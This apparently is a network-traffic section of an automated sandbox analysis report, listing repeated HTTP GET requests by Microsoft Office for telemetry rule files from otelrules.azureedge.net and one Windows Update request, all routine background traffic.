Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lwv5AFT7f7Z8N59&MD=cHD+y+u8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
